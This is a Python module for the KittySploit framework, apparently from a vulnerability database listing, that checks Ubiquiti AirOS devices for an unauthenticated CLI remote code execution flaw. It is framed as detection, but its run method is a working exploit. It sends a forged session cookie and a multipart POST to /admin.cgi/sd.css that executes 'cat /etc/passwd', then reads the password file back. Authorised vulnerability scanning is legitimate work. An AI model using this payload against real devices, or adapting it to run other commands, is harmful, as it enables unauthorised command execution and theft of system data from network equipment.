Ubiquiti AirOS - Unauthenticated CLI RCE Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detects AirOS unauth RCE by POSTing multipart exec=cat /etc/passwd&action=cli to /admin."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ubiquiti AirOS - Unauthenticated CLI RCE Detection',
'description': (
'Detects AirOS unauth RCE by POSTing multipart exec=cat /etc/passwd&action=cli to /admin.cgi/sd.css with a forged AIROS_SESSIONID cookie.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'ubiquiti', 'airos', 'rce', 'unauth', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.securityfocus.com/bid/51178',
],
}
def run(self):
boundary = '---------------------------15531490717347903902081461200'
body = (
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="exec"\r\n\r\n'
'cat /etc/passwd\r\n'
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="action"\r\n\r\n'
'cli\r\n'
f'--{boundary}--\r\n'
)
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': 'AIROS_SESSIONID=a447a1b693b321f598389d6972ab5c18; ui_language=pt_PT',
}
for path in ('/admin.cgi/sd.css', '/adm.cgi/sd.css'):
probe = self.http_request(method='GET', path=path, allow_redirects=False)
if not probe or 'Device administration utility' not in (probe.text or ''):
continue
r = self.http_request(method='POST', path=path, data=body, headers=headers, allow_redirects=False)
if r and re.search(r'root:.*:0:0:', r.text or ''):
self.set_info(severity='critical', reason='Ubiquiti AirOS unauthenticated CLI RCE', path=path)
return True
return False
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10 Aug 2026 06:19Current
5.9Medium risk
Vulners AI Score5.9